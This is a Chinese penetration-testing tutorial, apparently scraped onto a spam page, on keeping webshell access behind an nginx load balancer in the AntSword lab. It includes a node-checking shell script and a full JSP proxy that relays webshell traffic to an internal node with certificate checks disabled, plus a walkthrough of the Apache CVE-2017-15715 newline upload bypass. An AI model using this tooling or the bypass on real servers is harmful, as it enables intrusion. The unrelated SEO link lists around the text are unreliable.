当前位置: 首页 > news >正文

深圳网站建设优化山东建站管理系统

深圳网站建设优化,山东建站管理系统,网页设计图片相对路径,wordpress动态链接目录一、负载均衡反向代理下的webshell上传1、nginx负载均衡2、负载均衡下webshell上传的四大难点难点一:需要在每一台节点的相同位置上传相同内容的webshell难点二:无法预测下一次请求是哪一台机器去执行难点三:当我们需要上传一些工具时&am…

目录

  • 一、负载均衡反向代理下的webshell上传
    • 1、nginx负载均衡
    • 2、负载均衡下webshell上传的四大难点
      • 难点一:需要在每一台节点的相同位置上传相同内容的webshell
      • 难点二:无法预测下一次请求是哪一台机器去执行
      • 难点三:当我们需要上传一些工具时,麻烦来了:
      • 难点四:由于目标机器不能出外网
    • 3、环境搭建
    • 解决方法
      • 1、关机或者停服
      • 2、执行前先判断IP;要不要执行;
      • 3、在Web 层做一次 HTTP 流量转发
  • 二、apache换行解析漏洞

一、负载均衡反向代理下的webshell上传

1、nginx负载均衡

反向代理方式其中比较流行的方式是用 nginx 来做负载均衡。我们先简单的介绍一下 nginx 支持的几种策略:

名称策略
轮询(默认)按请求顺序逐一分配
weight根据权重分配
ip_hash根据客户端IP分配
least_conn根据连接数分配
fair (第三方)根据响应时间分配
url_hash (第三方)根据响应时间分配

其中 ip_hash、url_hash 这种能固定访问到某个节点的情况,我们也不讨论。

我们以默认的「轮询」方式来做演示。 LBSNode1 和 LBSNode2 均存在位置相同的 Shell: ant.jspNode1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。 我们只能通过 nginx 这台机器访问。nginx 的配置如下:
在这里插入图片描述

2、负载均衡下webshell上传的四大难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因。

难点二:无法预测下一次请求是哪一台机器去执行

我们在执行命令时,无法知道下次的请求交给哪台机器去执行。我们执行 hostname -i查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

难点三:当我们需要上传一些工具时,麻烦来了:

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:由于目标机器不能出外网

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

3、环境搭建

漏洞复现:
我们假定在真实的业务系统上,存在一个 RCE 漏洞,可以让我们获取 WebShell。

环境搭建(下载地址:https://github.com/AntSwordProject/AntSword-Labs)

在这里插入图片描述

 cd /home/ztx/AntSword-Labs-master/loadbalance/loadbalance-jsp/docker-compose up -d

在这里插入图片描述

查看端口号,这里是18080

docker ps -a

在这里插入图片描述
在这里插入图片描述
先到nginx查看一下nginx配置

在这里插入图片描述
用蚁剑尝试连接
在这里插入图片描述
在这里我们发现IP地址发生了漂移
在这里插入图片描述

解决方法

1、关机或者停服

首先在测试阶段,我们可以关闭一台服务器,只保留一台机器,因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么妥妥的就能继续了。 但在真实项目中,是不允许的,会严重影响业务。

2、执行前先判断IP;要不要执行;

执行前先判断IP;要不要执行;

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
if [$MYIP == "172.19.0.2" ]; thenecho "Node1. I will execute command.\n=======\n"ifconfigelseecho "Other. Try again."fi

(如果这里你的tomcat外网不能访问,记得去Linux主机上的8080端口开放,因为如果你要测试的话需要安装vim和net-tools)这样一来,确实是能够保证执行的命令是在我们想要的机器上了,效果如图;
在这里插入图片描述
蚁剑老是出现一点奇怪的问题,这张图可以不看
在这里插入图片描述

3、在Web 层做一次 HTTP 流量转发

这里一定要保证每一台node上都要有相同的文件(千万别用上传,上传会将文件分片)
在这里插入图片描述
修改 Shell 配置, 将 URL 部分填写为 web.jsp 的地址,其它配置不变
在这里插入图片描述

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!public static void ignoreSsl() throws Exception {HostnameVerifier hv = new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}@Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}@Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc = SSLContext.getInstance("TLS");sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%>
<%String target = "http://172.19.0.2:8080/ant.jsp";URL url = new URL(target);if ("https".equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn = (HttpURLConnection)url.openConnection();StringBuilder sb = new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baos=new ByteArrayOutputStream();OutputStream out2 = conn.getOutputStream();DataInputStream in=new DataInputStream(request.getInputStream());byte[] buf = new byte[1024];int len = 0;while ((len = in.read(buf)) != -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream = conn.getInputStream();OutputStream out3=response.getOutputStream();int len2 = 0;while ((len2 = inputStream.read(buf)) != -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%>

在这里插入图片描述

二、apache换行解析漏洞

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
环境下载链接:https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
搭建完毕后Apache运行在http://your-ip:8080
漏洞复现
上传一个名为1.php的文件,被拦截:

在这里插入图片描述
在1.php后面插入一个\x0A(只能是一个\x0A),不再拦截:
在这里插入图片描述
访问刚才上传的/1.php/x0a,发现能够成功解析,apache2.4会将他解析为php后缀,但这个文件不是php后缀,说明目标存在解析漏洞。

http://www.zhongyajixie.com/news/59621.html

相关文章:

  • 合肥seo网站建设产品免费推广网站有哪些
  • 网民深度参与政府网站建设google推广
  • 上海做外贸网站建设网络媒体推广产品
  • 海东网站建设公司销售网站怎么做
  • asp网站新闻置顶提高工作效率的方法
  • 网站做任务领q币推广营销平台
  • 网站建设制作网络公司如何优化培训体系
  • 做刀模线网站搜索引擎下载入口
  • 庆阳网站建设百度网盘人工客服电话
  • 自己做同城购物网站营销背景包括哪些内容
  • 家装类设计网站生成关键词的软件免费
  • wordpress安装在linux网站建设seo优化培训
  • 做网站被抓怎么优化网站排名才能起来
  • 阿里巴巴做网站的电话号码成人大学报名官网入口
  • 网站怎样查是哪家做的广告代理商
  • 网站开发工程师岗位概要百度指数在哪里看
  • 自助建站好吗付费推广方式有哪些
  • 网站建设中sem推广竞价托管公司
  • 如何做网站模板企业培训课程表
  • 聊城做网站的公司机构网站定制
  • 移动网站怎么做的搜索引擎下载安装
  • 可信网站东莞网络优化排名
  • 网站后台更新了文章为何看不见外链相册
  • 投资公司网站源码郑州免费做网站
  • 可以自己做网站赚钱吗上海网络推广专员
  • 沛县建设局网站关键词优化推广排名软件
  • 常用来做网站的首页百度seo收录
  • 网站400百度广告怎么投放
  • 外国做动漫图片的网站叫什么微信客户管理系统平台
  • 宝塔建设网站教程永久免费用的在线客服系统